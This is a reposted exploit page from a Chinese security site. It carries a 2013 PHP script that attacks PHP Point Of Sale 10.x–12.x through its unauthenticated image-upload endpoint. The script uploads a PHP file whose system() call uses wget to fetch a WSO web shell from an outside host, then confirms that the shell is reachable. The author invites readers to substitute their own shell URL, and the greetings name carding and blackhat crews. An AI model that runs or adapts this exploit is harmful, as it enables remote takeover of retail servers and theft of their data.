首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PHP Point Of Sale 10.x / 11.x / 12.x Remote Code Execution
来源:http://thecrowscrew.org 作者:Gabby 发布时间:2013-10-21  
###################################################################################​##################
# __________.__             _________                              _________
# \__    ___/|  |__   ____   \_   ___ \_______  ______  _  ________ \_   ___ \_______   ______  _  __
#   |    |   |  |  \_/ __ \  /    \  \/\_  __ \/  _ \ \/ \/ /  ___/ /    \  \/\_  __ \_/ __ \ \/ \/ /
#   |    |   |   Y  \  ___/  \     \____|  | \(  <_> )     /\___ \  \     \____|  | \/\  ___/\     /
#   |____|   |___|  /\___  >  \______  /|__|   \____/ \/\_//____  >  \______  /|__|    \___  >\/\_/
#                 \/     \/          \/                         \/          \/             \/
#
#
#http://thecrowscrew.org
###################################################################################​##################
# Exploit title : PHP Point Of Sale 10.x - 11.x - 12.x Remote Code Execution Vulnerability
# Author        : Gabby 
# Dork          : use ur brain ;)
# Vendor Site   : https://www.phppointofsale.com/‎
# Software      : http://sourceforge.net/projects/opensourcepos/
###################################################################################​##################
<?php   
$options = getopt('t:n:'); 
if(!isset($options['t'], $options['n'])) 
die("\n      [+] Simple Exploiter Point Of Sale by Gabby [+] \n Usage : php sale.php -t http://target.com -n bie.php\n 
-t http://target.com   = Target mu ..
-n bie.php             = Nama file yang mau kamu pakai...\n\n");  
   
$target =  $options['t']; 
$nama   =  $options['n']; 
$shell  = "{$target}/application/libraries/tmp-upload-images/{$nama}"; 
$target = "{$target}/application/libraries/ofc-library/ofc_upload_image.php?name={$nama}"; 
$data   = '<?php 
 system("wget http://0wn3d.ga/wso.txt; mv wso.txt bie.php");
 fclose ( $handle ); 
 ?>'; 
$headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1', 
'Content-Type: text/plain'); 
echo "=============================================== \n"; 
echo ":   Simple Exploiter Point Of Sale by Gabby   :\n"; 
echo "=============================================== \n\n"; 
echo "[+] Upload Shell ke : {$options['t']}\n"; 
$handle = curl_init(); 
curl_setopt($handle, CURLOPT_URL, $target); 
curl_setopt($handle, CURLOPT_HTTPHEADER, $headers); 
curl_setopt($handle, CURLOPT_POSTFIELDS, $data); 
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true); 
$source = curl_exec($handle); 
curl_close($handle); 
if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') && @fopen($shell, 'r')) 
{ 
echo "[+] Exploit Sukses,.. :D\n"; 
echo "[+] {$shell}\n"; 
} 
else
{ 
die("[-] Exploit Gagal,.. :(\n"); 
} 
  
?>

ps ; u can change that shell url with ur own,..

###################################################################################​##################
Thanks to :
Catalyst71 di tunggu tri-ji-pi-nya >_<, kit4r0, 777r, ovanIsmycode, walangkaji, y0g4, N035, my "Dad", 
my sista Wii, cW3 G4pt3K, Red-x, Vanda, Deb + Sultan yg dah mulai sombong, Meninbox, /Dzawa yg udah
temenin begadang, Th3.Black.D3Vils n all my luvly friend,..

Greets to :
Yogyacarderlink, SurabayaBlackhat & Madleets Team... ^^
###################################################################################​##################

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ARRIS DG860A NVRAM Backup Comp
·WebTester 5.x Command Executio
·SikaBoom - Remote Buffer Overf
·FiberHome Modem Router HG-110
·Level One Enterprise Access Po
·HP Intelligent Management Cent
·Persistent Payload In Windows
·Interactive Graphical SCADA Sy
·Aladdin Knowledge Systems Ltd.
·D-Link DIR-605L Captcha Handli
·PDFCool Studio Buffer Overflow
·Windows Management Instrumenta
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved